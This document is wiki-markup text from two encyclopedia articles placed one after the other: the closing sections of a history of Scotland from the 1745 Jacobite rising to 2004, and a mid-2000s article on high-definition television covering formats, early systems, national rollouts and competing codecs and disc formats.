In [[1745]] the Jacobite rising known as ''The 'Forty-Five'' began. [[Charles Edward Stuart]], known to history as ''Bonnie Prince Charlie'' or the ''Young Pretender'', son of the ''Old Pretender'', landed on the island of [[Eriskay]] in the [[Outer Hebrides]]. Several clans unenthusiastically joined him. At the outset he was successful, taking [[Edinburgh]] and then defeating the only government army in Scotland at the [[Battle of Prestonpans]]. They marched into England and got as far as [[Derby]]. Then it became evident that, as unpopular as the Hanoverians were, England would not support a Roman Catholic Stuart monarch. The Jacobite leadership had a crisis of confidence and retreated to Scotland.

The [[Prince William Augustus, Duke of Cumberland|Duke of Cumberland]] crushed the ''&quot;Forty-Five&quot;'' and the hopes of the Jacobites at the [[Battle of Culloden]] on [[April 16th]] [[1746]]. Charles hid in Scotland with the aid of Highlanders until September [[1746]], when he escaped back to France with the help of [[Flora Macdonald]].  France expelled him in accordance with the [[Treaty of Aix-la-Chapelle]] ([[1748]]). He died a broken man, and his cause died with him.

==Industrial Revolution, Clearance, and Enlightenment==
After 1745, British authorities acted to suppress the clan loyalties in the [[Scottish Highlands|Highlands]]. The wearing of tartan and the playing of bagpipes were both forbidden for a time. The warrior culture of the Highlands was re-diverted as Highlanders were recruited as soldiers to serve in the wider [[British Empire]]. Clan Chiefs were encouraged to consider themselves as owners of the land in their control, in the English manner - it was previously considered common to the clan.    

As these new landowners converted land to more profitable sheep pasture, many were dispossessed, some even faced forcible removal. In what became known as the &quot;[[Highland Clearances]]&quot;, the population fell significantly. Large numbers of Highlanders relocated to the lowland cities, becoming the labour force for the emerging [[industrial revolution]], many emigrated to other parts of the [[British Empire]], particularly [[Nova Scotia]], the Eastern Townships of [[Quebec]], and [[Upper Canada]] (later known as [[Ontario]]).

At the same time, the [[Scottish Agricultural Revolution]] changed the face of the [[Scottish Lowlands]] and transformed the traditional system of subsistence farming into a stable and productive agricultural system. This also had effects on population and precipitated a migration of Lowlanders, now recognised as the &quot;[[Lowland Clearances]]&quot;.

[[Image:Adam Smith.jpg|thumb|180px|left|Scots contributed to culture and science with such visionaries as the father of modern [[Economics]], [[Adam Smith]].]]

Internationally, Scotland's fate was tied to that of the United Kingdom as a whole. Shortly after Culloden, Britain successfully fought the [[Seven Years' War]] (1756 &amp;ndash; 1763), demonstrating its rising significance as a great power.  As a partner in the new Britain, Scotland began to flourish in ways that she never had as an independent nation.  As the memory of the Jacobite rebellion faded away, the [[1770s]] and [[1780s|80s]] saw the repeal of much of the draconian laws passed earlier. Most were repealed by [[1792]] as the [[Episcopalian]] and [[Catholic]] clergy no longer refused to pray for the reigning monarch, although [[Unitarian]]s were still affected.

Economically, [[Glasgow]] and [[Edinburgh]] began to grow at a tremendous rate at the end of the 18th century. The Scottish Renaissance was one of philosophy and science. The [[Scottish Enlightenment]] involved names such as [[Adam Smith]], [[David Hume]] and [[James Boswell]]. Scientific progress was led by [[James Hutton]] and [[William Thomson, 1st Baron Kelvin]] and [[James Watt]] (instrument maker to the [[University of Glasgow]]). 

Pre-eminent in contemporary literature were [[Robert Burns]], an Ayrshire poet, and [[Walter Scott|Sir Walter Scott]], a prolific writer of ballads, poems and the historical novels. His romantic portrayals of Scottish life in centuries past still continue to have a disproportionate effect on the public perception of &quot;authentic Scottish culture,&quot; and the pageantry he organised for the [[Visit of King George IV to Scotland]] made [[tartan]] and [[kilt]]s into national symbols. [[George MacDonald]] also influenced views of Scotland in the latter parts of the 19th century.

As the 19th century wore on, Lowland Scotland turned more and more towards heavy industry.  Glasgow and [[River Clyde]] became a major ship-building centre. Glasgow became one of the largest cities in the world, and known as &quot;the Second City of Empire&quot; after [[London]].

==20th Century Scotland==
[[Image:Wfm glasgow school of art.jpg|thumb|right|240px|[[Charles Rennie Mackintosh]] gained international [[architecture|architectural]] fame with his [[1909]] design of the [[Glasgow School of Art]] building.]]

Tied as it was to the health of the [[British Empire]], Scotland suffered after the [[World War I|First World War]] as it had gained beforehand. In the Highlands, which had provided a disproportionate number of recruits for the army, a whole generation of young men were lost, and many villages and communities suffered greatly. In the Lowlands, particularly Glasgow, poor working and living conditions led to industrial and political unrest. [[John MacLean]] became a key political figure in what became known as [[Red Clydeside]], and in January [[1919]], the British Government, fearful of a revolutionary uprising, deployed tanks and soldiers in central Glasgow. During the [[1920s]] and [[1930s]], due to global depression and foreign competition, [[Glasgow]] and [[Clydebank]] experienced high unemployment.

In [[World War II|Second World War]] naval bases and infrastructure in Scotland were primary German targets. Attacks on [[Scapa Flow]] and [[Rosyth]] gave RAF fighters their first successes downing bombers in [[Firth of Forth]] and [[East Lothian]]. The shipyards and heavy engineering factories in [[Glasgow]] and Clydeside played a key part in the war effort, and suffered attacks from the [[Luftwaffe]]. [[Clydebank]] endured great destruction and loss of life. The [[Scottish Highlands|Highlands]] again provided a large number of troops for the war effort. Commandos and resistance fighters received training in the harsh conditions of the [[Lochaber]] mountains.  

As transatlantic voyages involved negotiating the north-west, Scotland played a key part in the battle of the [[North Atlantic]]. As in World War I, [[Scapa Flow]] in [[Orkney]] served as an important [[Royal Navy]] base. [[Shetland]]'s relative proximity to occupied [[Norway]], resulted in the [[Shetland Bus]] &amp;mdash; fishing boats helping Norwegians flee the [[Nazis]], and expeditions across the [[North Sea]] to assist resistance. Perhaps Scotland's most bizarre wartime episode occurred in [[1941]] when [[Rudolf Hess]] flew to Renfrewshire, possibly to broker a peace deal through the [[Duke of Hamilton]]. 

[[Image:Qe2.750pix.jpg|thumb|240px|right|[[Clydeside]] built ships for [[World War II]] and later pleasure, launching the [[RMS Queen Elizabeth 2|QE2]] in [[1967]].]]

After World War II, Scotland's economic situation became progressively worse due to overseas competition, inefficient industry, and industrial disputes. This only began to change in the 1970's, partly due to the discovery and development of [[North Sea]] oil and gas and partly as Scotland moved towards a more service-based economy. This period saw the emergence of the [[Scottish National Party]] and movements for both [[Scottish independence]] and more popularly [[devolution]]. However, a referendum on devolution in 1979 was unsuccessful.  

As the [[Cold War]] intensified, the [[United States]] deployed [[Polaris ballistic missile]]s, and submarines,
in the [[Firth of Clyde]]'s [[Holy Loch]] (1961). This was despite opposition from [[CND]] campaigners. A [[Royal Navy]] nuclear submarine base followed for [[Resolution class submarine|''Resolution'' class]] [[Polaris missile|Polaris]] submarines at the expanded [[HMNB Clyde|Faslane Naval Base]] on the [[Gare Loch]]. The first patrol of a [[Trident missile|Trident]]-armed submarine occurred in 1994, although the US base was closed at the end of the Cold War. 

In [[1997]], the [[Tony Blair| Blair]] [[Labour Party (UK)| Labour]] government again held a referendum on the issue of devolution. A positive outcome led to the establishment of a devolved [[Scottish Parliament]] which now stands next to [[Holyrood House]] in [[Edinburgh]].

==21st Century Scotland==
The [[feudal]] system lingered on in [[Scots law]] on land ownership, so that a landowner still had obligations to a ''feudal superior'' including payment of ''feu duty''. In [[1974]] legislation began a process of redeeming ''feuduties''  so that most of these payments were ended, but it was only with the attention of the Scottish Parliament that a [http://www.ejcl.org/83/art83-5.html series of acts] were passed, the first in [[2000]], for The Abolition of Feudal Tenure on [[November 28]] [[2004]].

==See also== 
*[[Historic Sites in Scotland]]
*[[British monarchs|Kings of Scotland]]
*[[Scottish monarchs' family tree|Kings of Scotland family tree]]
*[[UK topics]]
*[[History of England]]
*[[History of the United Kingdom]]
*[[Timeline of Scottish history]]

==External links==
*[http://www.badley.info/history/Scotland.country.year.index.html Scotland Chronology World History Database]
*[http://www.scotlandsclans.com/genscot.htm Scottish Genealogy]

==Further reading==
*[[Fernand Braudel|Braudel, Fernand]], ''The Perspective of the World,'' vol III of ''Civilization and Capitalism'' (1979, in English 1984), pp 370-372
*Mackie, J.D. ''A History of Scotland'' (Penguin books, 1991)
*Devine, T.M. ''The Scottish Nation, 1700-2000'' (Penguin books, 1999)
*Devine, T. M., ''Scotland's Empire 1600-1815'', Allen Lane, Harmondsworth, 2003
*Buchan, James, ''Capital of the Mind: How Edinburgh changed the world'', John Murray, 2003
*Finlay, Richard, ''Modern Scotland 1914-2000'', Profile 2004
*Cowan, Edward J., ''&quot;For Freedom Alone&quot;: the Declaration of Arbroath, 1320'', Tuckwell, East Linton, 2004
*Duncan A. A. M., ''The Kingship of the Scots 842-1292: Succession and independence'', Edinburgh UP, Edinburgh, 2004
*[http://www.scottishsundials.co.uk Scottish Sundials - by Location, Type and Date] 

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    <title>Hi-fi</title>
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    <title>High-definition television</title>
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'''High-definition television''' ('''HDTV''') means [[broadcasting|broadcast]] of [[television]] signals with a higher [[Image resolution|resolution]] than traditional formats ([[NTSC]], [[SÉCAM]], [[PAL]]) allow. Except for early analog formats in
[[Europe]] and [[Japan]], HDTV is broadcast digitally, and therefore its introduction sometimes coincides with the introduction of [[digital television]] (DTV).

Historically, the term ''high-definition television'' was also used to refer to television standards developed in the [[1930s]] to replace the early experimental systems, although, not so long afterwards, Philo T. Farnsworth, John Logie Baird and Vladimir Zworkin had each developed competing TV systems but resolution was not the issue that separated their substantially different technologies.  It was patent interference lawsuits and deployment issues given the tumultuous financial climate of the late 20's and 30's.  Most patents were expiring by the end of World War II leaving the market wide open and no worldwide standard for television agreed upon.  The world used analog PAL, NTSC, SECAM and other standards for over half a century.

==Notation==

In the context of HDTV, the formats of the broadcasts are referred to using a notation describing:

* The number of lines in the [[display resolution]].
* [[Progressive scan|Progressive]] frames (p) or [[interlace|interlaced]] fields (i).
* Number of frames or fields per second.

For example, the format 720p60 is 1280 × 720 pixels, progressive encoding with 60 frames per second (60 [[Hertz]] known as [[Hz]]). The format 1080i50 is 1920 × 1080 pixels, interlaced encoding with 50 fields (25 frames) per second. Often the frame or field rate is left out. It can then usually be assumed to be either 50 or 60, except for [[1080p]] which is only supported as 1080p24, 1080p25 or 1080p30 by consumer HDTV displays.

A frame or field rate can also be specified without a resolution. For example 24p means 24 progressive frames per second and 50i means 25 interlaced frames per second.

Most HDTV systems support some standard resolutions and frame or field rates. The most common are:

===Standard resolutions===

[[Image:Videores.png|480px|Visual comparison of common TV ''display resolutions''.]]

Note: this graphic ignores the impact of interlaced artifacts, which would further reduce the vertical resolution

* NTSC is typically 720x480

===Standard frame or field rates===

* 24p (cinematic film)
* 25p
* 30p
* 50p
* 60p
* 50i (PAL)
* 60i (NTSC)

==Comparison to SDTV==

HDTV has at least twice the resolution of [[standard-definition television|SDTV]], thus allowing much more detail to be shown compared to analog television or regular DVD. In addition, the technical standards for broadcasting HDTV are also able to handle 16:9 [[aspect ratio (image)|aspect ratio]] pictures without using [[letterbox|letterboxing]], thus further increasing the effective resolution for such content.

===Close-up view===

&lt;gallery&gt;
Image:Raster graphic fish 40X46squares hdtv-example.jpg|HDTV at four times the resolution of SDTV.
Image:Raster graphic fish 20x23squares sdtv-example.jpg|SDTV resolution.
&lt;/gallery&gt;

==Format considerations==

The optimum format for a broadcast depends on the type of media used for the recording and the characteristics of the content. The field and frame rate should match the source, as should the resolution. On the other hand, a very high resolution may require more bandwidth than is available. The [[lossy compression]] that is used in all digital HDTV systems will then cause the picture to be distorted.

[[Photographic film]] destined for the theater typically has a high resolution and is photographed at 24  frame/s. Depending on the available bandwidth and the amount of detail and movement in the picture, the optimum format for video transfer is thus either 720p24 or 1080p24. When shown on television in countries using [[PAL]], film must be converted to 25 frames per second by speeding it up by 4%.   In countries using the [[NTSC]] standard, (60 fps) a technique called 3:2 pulldown is used.  One film frame is held for three video fields, (1/20 of a second) and then the next is held for two video fields (1/30 of a second) and then the process repeats, thus achieving the correct film rate with two film frames shown in 1/12 of a second. (See also: [[Telecine]])

Older (pre-HDTV) recordings on video tape such as [[Betacam]] SP are often either in the form 480i60 or 576i50. These may be upconverted to a higher resolution format ([[720i]]), but removing the interlace to match the common [[720p]] format may distort the picture or require filtering which actually reduces the resolution of the final output. (See also: [[Deinterlacing]])

Non-cinematic HDTV video recordings are recorded in either [[720p]] or [[1080i]] format. The format depends on the broadcast company if destined for television broadcast, however in other scenarios the format choice will vary depending on a variety of factors. In general, [[720p]]  is more appropriate for fast action as it uses progressive fields, as opposed to [[1080i]] which uses interlaced fields and thus can have a degradation of image quality with fast motion. In addition, [[720p]] is used more often with internet distribution of HD video, as all computer monitors are progressive, and most graphics cards do a sub-optimal job of de-interlacing video in real time.   720p Video also has lower storage and decoding requirements than 1080i or 1080p, and few people possess displays capable of displaying the 1920x1080 resolution without scaling.  [[720p]] appears at full resolution on a common 1280x1024 [[LCD]], which can be found for under $250. An [[LCD]] capable of native [[1080i]] resolution still costs over
a thousand US dollars.

In [[North America]], [[Fox Broadcasting Company|Fox]], [[American Broadcasting Company|ABC]], and [[ESPN]] (ABC and ESPN are both owned by [[The Walt Disney Company|Disney]]) currently broadcast [[720p]] content.  [[NBC]], [[Universal-HD]] (both owned by [[General Electric]]), [[CBS]], [[HBO]]-HD, [[INHD]], [[HDNet]] and [[TNT]] currently broadcast [[1080i]] content.

==Technical details==
[[MPEG-2]] is most commonly used as the compression [[codec]] for digital HDTV broadcasts.  Although MPEG-2 supports up to [[4:2:2]] YUV chroma subsampling and 10-bit quantization, HD broadcasts use [[4:2:0]] and 8-bit quantization to save bandwidth. Some broadcasters also plan to use [[MPEG-4]]. Some German broadcasters already use MPEG-4 together with DVB-S2 (ProSieben, Sat1 and Three Premiere Channels). Recommended receiver is Humax PR-HD 1000, but others are announced as well as PCI cards. It seems likely that all European HDTV may be MPEG-4 and Ireland, which has not yet started ANY Digital Television, is considering MPEG4 for SD Digital as well as HDTV on Terrestrial broadcasts.

HDTV is capable of &quot;[[movie theater|theater]]-quality&quot; audio because it uses the [[Dolby Digital]] (AC-3) format to support &quot;5.1&quot; [[surround sound]].

The pixel aspect ratio of native HD signals is 1.0, or 1 pixel length = 1 pixel width. New HD compression and recording formats such as HDV use rectangular pixels for more efficient compression and to open HDTV acquisition for the consumer market.

For more technical details see the articles on [[HDV]], [[ATSC]], [[DVB]], and [[ISDB]], respectively.

==Advantages of HDTV expressed in non-engineering terms==
#All  commercial HD is digital, so the signal will either deliver a good picture, a picture with large [[pixelation]], a series of frozen pictures, or no picture. You would never get a snowy, washed out, image, or vertical rolling.
#Most HD programming and films will be presented in the 16x9 proportioned, semi-[[widescreen]] format (though some films created in even wider ratios will still display &quot;[[letterbox]]&quot; bars on the top and bottom of even 16:9 sets.)  Older films and programming that retain their 4:3 ratio display will be presented in a version of letterbox commonly called &quot;[[pillar box (film)|pillar box]]&quot;, displaying bars on the right and left of 16:9 sets (rendering the term &quot;[[Pan and scan|fullscreen]]&quot; a [[misnomer]].)  Or, one can usually choose to enlarge the image to fill the screen, however this option will display a distorted, stretched-out picture. 
#The colors will generally look more realistic, due to the cleaner signal.
#The visual information is about 2-5 times more detailed overall. The gaps between scanning lines are smaller or gone.
#Two new pre-recorded disc formats will be available in spring 2006. One is called [[HD DVD]], the other is [[Blu-ray]].  Both systems will usually play current DVDs, and attempt to extract a near-HDTV-quality image from them, but they are not compatible with each other.
#The increased clarity, and detail make larger screen sizes more comfortable and pleasing to watch.

==Stereoscopic 3D television is far more practical with HD technology==

A number of 3D stereoscopic major animation films like ''[[The Polar Express (film)|Polar Express]]'', Disney's ''[[Chicken Little]]'' and 6 more scheduled for 2006 release, are likely to be sold for home display in one or more of the new HD disk systems in 3D. The Discovery HD channel has already provided a small amount of science programing in 3D. Most professionals in 3D technology foresee greater use of stereo visuals and animation as HDTV becomes the norm.

== Early systems ==

=== [[SECAM]] 755i===

When Europe resumed TV transmissions after WWII, i.e.&lt;!--extra comma alert--&gt; in the late-1940s and early-1950s, different countries used different resolutions. The UK used [[405-line|405 lines]], most other countries 625 lines (both numbers include the vertical gap, the actual resolution were lower), but France decided in 1948 to go for 819 lines. The French TV system thus became the world's first HDTV system, and, by today's standards, the French system could be called 755i (not all lines could be used for the actual image — some lines were lost during the vertical retrace). The French 819-line (or 755i) HDTV system was introduced in the 1950s. When, in the late-1960s, a second TV channel and color TV were introduced in Europe, the UK dropped its 405-line TV system (completely in 1985) and France dropped its 819-line system, making all European countries agree to use 625 lines (576i) for their TV transmissions.

The French &quot;755i&quot; 819-line HDTV system was used in only France, Belgium and Monaco, and in France only for the first French TV channel. It was discontinued in 1986. It was used only for black-and-white TV; color TV in 819-line SECAM never went beyond the experimental stage. It was transmitted only on VHF channels, and a French 819-line TV channel occupied 14 MHz of bandwidth.

=== MUSE ===
{{main|Multiple sub-nyquist sampling Encoding}}

Japan has the earliest working HDTV system still in use, with design efforts going back to 1979. Japan began broadcasting analog HDTV signals in the early 1990s using an interlaced resolution of 1035 lines (''1035i''). The Japanese [[MUSE]] system, developed by [[NHK]] ''Science and Technical Research Laboratories'' ([[STRL]]) in the 1980s, employed filtering tricks to reduce the original source signal to decrease bandwidth utilization.

==== MUSE in Operation ====
* In the typical setup, three picture elements on a line were actually derived from three separate scans. Moving images were thus blurred in a manner similar to using 16mm movie film for HDTV projection.
* Stationary images were transmitted at full resolution.
* Whole-camera pans would result in a loss of 50% of horizontal resolution.
* Considering the technological limitations of the time, MUSE was a very cleverly-designed analog system.
* MUSE had a bit-reduced stereo audio transmission system that was notable in its design as it was not psychoacoustical like Musicam.

Though Japan has since switched to a digital HDTV system based on [[Integrated Services Digital Broadcasting|ISDB]], the original MUSE-based BS Satellite channel 9 (NHK BS Hi-vision) is still being broadcast. It broadcasts the same programs as BS-digital channel 103, but will end sometime in 2007.

=== HD-MAC ===
{{main|HD-MAC}}

The [[European Commission]] established a European standard for uncompressed digital HDTV in a 1986 directive (MAC). However, it never became popular among broadcasters. It was required that all high-powered satellite broadcasters use MAC from that year. Owing to the advance of technology and the launch of middle-powered satellites by [[SES Astra]],  broadcasters could  avoid MAC, and lower transmission costs. HD-MAC (the high-definition variant of MAC) was left for transcontinental satellite links, however.

Another reason for [[HD-MAC]]'s failure is&lt;!--tense alert!--&gt; that it was not realistic to use 36 MHz for a high-definition signal in terrestrial broadcasting ([[standard-definition television|SDTV]] uses 6-, 7- ([[very high-frequency|VHF]]), or 8-MHz ([[ultra-high-frequency|UHF]])). HD-MAC could be used only by cable and satellite providers, where there is a wider bandwidth available. Thus, analog  HDTV could not replace conventional SDTV (terrestrial) [[PAL]]/[[SECAM]], making HD-MAC sets unattractive to potential consumers.

The HD-MAC standard was abandoned in 1993, and since then all [[European Union|EU]] and  [[European Broadcasting Union|EBU]] efforts have focused on the [[DVB]] system (''Digital Video Broadcasting''), which allows both SDTV and HDTV.

See also: [http://www.agcom.it/eng/92_38_EEC.htm COUNCIL DIRECTIVE 92/38/EEC] of [[11 May]] [[1992]].

== Contemporary systems ==

===Australia===
{{main|High definition television in Australia}}

Australia started HD broadcasting in January 2001, but only in August 2003 was HD content mandated. Most cities in Australia that have a population of 40,000 or greater have at least one terrestrial DTV channel available (for example, Albany, [[Western Australia]], has had DTV available for almost a year as of May, 2005). However, most Australian DTV broadcasters are still experimenting with HDTV transmission and DTV delivery.

===Brazil===

Brazilian universities, research and government institutions are discussing the best policies for a digital television system for use in Brazil.

A complete testbed is expected for 2006 (see http://sbtvd.cpqd.com.br/ for updates).

===Canada===

In Canada, on [[November 22]] [[2003]], [[Canadian Broadcasting Corporation|CBC]] had their first broadcast in HD, in the form of the [[Heritage Classic]] outdoor NHL game between the [[Edmonton Oilers]] and the [[Montreal Canadiens]]. Bell [[ExpressVu]], a Canadian [[satellite]] company, [[Rogers Cable]] and [[Videotron]] provide somewhat more than 21 HDTV channels to their subscribers including [[TSN HD]], SportsNet HD, Discovery HD (Canadian Edition), The Movie Network HD, and several U.S. stations plus some PBS feeds and a couple of pay-TV movie channels. CTV Toronto broadcast in HD along with its western counterpart, BC CTV. They were also the first to broadcast a terrestrial HD digital ATSC signal in Canada. Global joined the crowd in late-2004. Other networks are continuing to announce availability of HD signals.  [[CHUM Limited]]'s [[CITY|Citytv]] in [[Toronto]] was the first HDTV broadcaster in Canada, however very few shows are shown in HDTV beyond the well-known ones such as ''CSI'', ''ER'', etc.
as of early-2005. CBC officially launched HDTV programming on [[March 5]] [[2005]].

[[Image:Hd-ready.jpg|thumb|right|200px|HD Ready logo]]
===Europe===
{{main|High-definition television in Europe}}

Commercial HDTV services began in 2004 with [[Euro1080]], an Belgian MPEG2/DVB-S pay channel. As for 2006, there has been a slow but steady increase in the number of HD channels available to European viewers in many countries. Although most of these channels are pay TV, there are some free to air HD stations available([[Prosieben]] &amp; [[Sat 1]]), as well as technical transmissions by satellite.

In the United Kingdom, [[British Sky Broadcasting|Sky]] HD is set to launch around April 2006, offering 9 HDTV channels (including 2 pay-per-view movie channels). Customers will pay for the Sky HD box, for a subscription, and for an HD Ready TV.

A label &quot;[[HD-ready]]&quot; has been created to inform consumers of the benefits of High Definition. The purpose of the label is create a single norm to simplify the purchase of a HDTV in Europe.

===Japan===
Japan had pioneered HDTV for decades with an analog implementation. The old system is not compatible with the new digital standards.  Japan terrestrial broadcast of HD via [[Integrated Services Digital Broadcasting|ISDB-T]] started in December 2003. It is reported that two million HD receivers have been sold in Japan already.

===Republic of Korea===
After a long controversy between the government and broadcasters, ATSC was chosen over [[DVB-T]]. From 2005, digital services are available in all the country.

It is required that at least 10 hours of HD content to be broadcast on a weekly basis during the first year of commercial digital service.

===Mexico===

Mexican television company [[Televisa]] made experimental HDTV broadcasts in the early-1990s, in collaboration with Japan's [[NHK]]. Some events are now broadcast in high definition.

During the first half of 2005, at least one cable provider in [[Mexico City]] ([http://www.cablevision.net.mx Cablevision]) has begun to offer 5 HDTV channels to subscribers purchasing a digital video recorder (DVR).

In 2005, TV Azteca signed a deal with Harris Corporation's broadcast communications division for digital TV transmitters and HDTV encoding equipment to bring high-definition TV to nine Mexican cities.

The launch will be carried out in two phases. By the third quarter of 2006, HDTV transmissions will be available in Mexico's largest markets: Mexico City, Guadalajara and Monterrey. Phase Two of the national rollout will bring HDTV services to six cities along the Mexico-U.S. border (Matamoros, Reynosa, Nuevo Laredo, Ciudad Juarez, Mexicali and Tijuana) through the first half of 2006.  This rollout takes advantage of HDTV receivers already in place thanks to an earlier HDTV rollout by stations on the American side of the border.

Also, [[TV Azteca]] has planned to broadcast the Mexican football tournament in HDTV. And almost all retailers have started shipping televisions with HDTV tuners.

XETV in Tijuana, Baja California - across the border from San Diego, California - is on the air in HDTV using 720p format.  This affiliate of the American Fox TV Network is on UHF channel 23 broadcasting from Mt. San Antonio in Tijuana, Mexico with 403,000 watts, directed primarily northward at San Diego.  In January 2006, Televisa's XEFB-TV and Multimedios' XHAW-TV in Monterrey, Nuevo Leon began HDTV transmissions on UHF channels 48 and 50, respectively.  In February 2006, Televisa's XHUAA in Tijuana began its HDTV transmissions on channel 20.  Unfortunately they have no HDTV programs.  Channel 20 broadcasts an upconverted version of the programs of XHUAA's analog signal on channel 57.

===United States===
{{main|High-definition television in the United States}}

In the [[United States]], HDTV specifications are defined by the [[ATSC]].  An HDTV-compatible TV usually uses a 16:9 [[aspect ratio (image)|aspect ratio]] display with an integrated ATSC tuner. Lower-resolution sources like regular DVDs may be upscaled to the native resolution of the TV.

==Recording, compression, and prerecorded media==

HDTV can be recorded to [[D-VHS]] (Data-VHS), [[W-VHS]], to an HDTV-capable [[digital video recorder]] such as [[DirecTV]]'s high-definition [[TiVo]] or [[Dish Network]]'s DVR 921 or 942, or to a computer equipped with an HDTV capture card.  In the U.S., the only current archival option is D-VHS. D-VHS digitally records a 28.2-Mbit stream onto a classic [[VHS]] tape, using a FireWire (IEEE 1394) digital transport to carry a compressed MPEG-2 Transport Stream from the tuning device to the recorder.

However, the massive amount of data storage required to archive uncompressed streams make it unlikely that an uncompressed storage option will appear in the consumer market soon.  Realtime MPEG-2 compression of an uncompressed digital HDTV signal is also prohibitively expensive for the consumer market at this time, but should become inexpensive within several years (although this is more relevant for consumer HD camcorders than recording HDTV).  Analog tape recorders with bandwidth capable of recording analog HD signals such as W-VHS recorders are no longer produced for the consumer market and are both expensive and scarce in the secondary market.

As part of the FCC's &quot;plug and play&quot; agreement, cable companies are required to provide customers that rent HD set-top boxes with a set-top box with &quot;functional&quot; Firewire (IEEE 1394) upon request. None of the DBS providers have offered this feature on any of their supported boxes. [[As of 2004|As of July 2004]], boxes are not included in the FCC mandate. This content is protected by encryption known as [http://www.dtcp.com/ 5C]. This encryption can prevent someone from recording content at all or simply limit the number of copies.

Aside from scarce Japanese analog MUSE-encoded laser discs that are no longer produced, as of 2005 the only current available prerecorded HD media is D-Theater.  Comprising less than 100 titles and utilizing a 28-Mbit/s MPEG2 stream at 720p or 1080i with either Dolby Digital 5.1 or DTS encoding, D-Theater is an encrypted D-VHS format, and only D-Theater capable D-VHS players can play back these tapes.  This format is superior to broadcast HDTV due to its higher bandwidth and, of course, the ability to do non-realtime optimization of the encoding, which is not possible with broadcast HDTV.  D-Theater is currently a small niche market even within the niche HDTV community, and it appears as if the final D-Theater title was published in 2004.

===Future media===
HD programming may be recorded on optical disc using [[Blu-ray]] or on [[HD DVD]]. Blu-ray technology is currently available only in Japan with a Japanese satellite/terrestrial tuner, but is expected to be released in other world markets in 2006. Blu-ray uses a blue-laser optical disc with an MPEG-2 or MPEG-4 [[codec]]. Sony will include a [[Blu-ray]] player in [[PlayStation 3]], and it will be released during 2006. It is expected to have a big impact on the HDTV market.

====Microsoft====

In an attempt to provide a bitrate-compatible high-definition format for high-definition video on standard [[DVD-ROM]]s, [[Microsoft]] introduced their Windows Media 9 Series [[codec]] with the ability to compress a high-definition bitstream into the same space as a conventional NTSC bitstream (approximately 5 to 9 megabits per second for [[720p]] and higher). Microsoft is marketing its high-definition Windows Media 9 Series codec as [[WMV HD]]. It remains to be seen if the codec will be adopted for widespread use, if only as a [[Wi-Fi]] industry standard. As of November 2003, this format required a significant amount of processing power to encode and decode and the only commercially-available movie that used the codec was the ''[[Terminator 2: Judgment Day|Terminator 2]]: Extreme Edition'' DVD (see [http://www.manifest-tech.com/media_dvd/hd_dvd.htm 1]). Since then, more titles have become available in this format, such as the acclaimed surf documentary ''[[Step Into Liquid]]''. As of the start of 2005,
[[Microsoft]] recommends a 3.0 GHz processor with 512 MB of RAM and a 128-MB video card for [[1080p]] playback on [[Windows XP]], though there are now commercially available DVD players, like the KiSS DP-600, that will play back WMV HD DVD ROMs in high definition on HDTV sets. The codec has been submitted to [[SMPTE]] and is in SMPTE's standardization process with an intent for it to become an official SMPTE standard known as [[VC-1]] in the near-future.

====Broadcasters====

Other codecs are in contention such as [[AVC]] ([[MPEG-4]] part 10, also known as [[H.264]], approved by the [[ITU-T]] and [[MPEG]] standards bodies in early-2003) and the [[VP6]] and now [[VP7]] codecs from [[On2 Technologies]].

H.264 as a standard has already been selected and adopted by the biggest broadcasters in the U.S. ([http://www.directv.com DirecTV], [http://www.dishnetwork.com DISH Network]) and Europe ([http://www.sky.com/hd BSkyB], [http://www.premiere.de Premiere], [http://www.canalplus.com Canal+], [http://www.tps.fr TPS], ...). H.264 was chosen for several reasons: The standard was validated as an open standard at least a year before VC-1 was seriously considered as a potential open standard, and, then, there is a lot of uncertainty on the levies Microsoft may want to impose once the algorithm is adopted. So far, only a handful of very minor broadcasters are seriously considering VC-1. It has been thought for a while that VC-1 was better adapted for the IPTV world than H.264, but press announcements have also already been made by some of the largest STB manufacturers like [http://www.aminocom.com Amino], [http://www.pacemicro.com Pace], [http://www.kreatel.com Kreatel] demonstrating solutions based on H.264
standards.

The main areas of dominance of VC-1 seem currently to be in the Blu-Ray DVD (HD DVD have not yet announced support for VC-1) and, for obvious reason, the home PCs.

In fact, there is some concern in the community that Microsoft may have appropriated itself the H.264 standard, modified and improved upon it and are trying to resell the solution as VC-1, without providing dues to the MPEG-LA. However, this is currently a rumor and has not yet been challenged.

[http://www.streamingmedia.com/article.asp?id=9080&amp;c=31 Example] of broadcasters concerns.

====Online HD====

[[H.264]] has made significant progress towards becoming a widespread video format on the internet thanks to [[Apple Computer]]'s [[QuickTime]] software supporting the format as of version 7. Since many movie trailers are released in QuickTime format, when movie distributors started releasing HD trailers on the web the format they chose was H.264. H.264 is also used by some for encoding video [[podcast]]s.

====VP6====

[[VP6]] was reported by On2 to have been chosen by [[China]] for use in the [[Enhanced Versatile Disc]] (EVD) format initiative. As reported, this was a result of China's desire to avoid royalties on WM9 or AVC.  As an advantage, VP6 would not require royalties on recorded media (although royalties would be charged for player devices at a similar cost as for other codecs).  As China starts to dominate manufacturing of TV and DVD units, the country's choice of standards becomes more important for everyone.  A low cost for the codec itself is not a significant advantage over DVD, however, as the standalone hardware players will be incompatible with standard [[DVD-Video]] unless the manufacturer pays the royalties for the technologies necessary to make the player DVD-compatible.  Very few titles were made available in any market for this format, although it is presumed that many would be needed to drive purchase of incompatible players.  It is unlikely any major U.S. studio will commit to movies in this format without
some form of copy-protection, which is not yet specified.  Soon after the announcement that VP6 would be used on EVD, negotiations between On2 and E-World (the consortium pushing EVD to become a standard) broke down.  On2 filed multiple breach of contract claims for arbitration, but in March of 2005 the arbitrator ruled that E-World had not broken the contract and owed nothing to On2.  It was unclear to On2 and the arbitrator whether the Chinese government ever approved the EVD proposal as a standard.

====HD DVD and Blu-ray====

Recently, the [[DVD Forum]] and the [[Blu-ray Disc Association]] failed to agree on standards for high-definition 12-cm discs. A [[format war]] is now very likely between the DVD Forum's [[HD DVD]] (formerly &quot;Advanced Optical Disc&quot;) standard and the Blu-ray Disc Association's [[Blu-ray disc]] standard.  Both sides of the HD disc camp are likely to leverage studio partners against each other through exclusive arrangements.  As a result, this will likely lead to certain films becoming available only on one format.  A possible outcome of a messy format war could be the emergence of combo players, as the physical disc sizes are identical. A more likely possibility is that the [[PlayStation 3]] console (manufactured by [[Sony]], the main advocate of Blu-ray discs) will gain a major lead in sales for Blu-ray players when it launches in 2006. The Blu-ray format has already gained a majority support from almost every major movie studio in the U.S., while the HD DVD format has received support from a smaller
consortium of companies (Microsoft and Toshiba being the exception), many of whom have also pledged support for Blu-ray anyway.

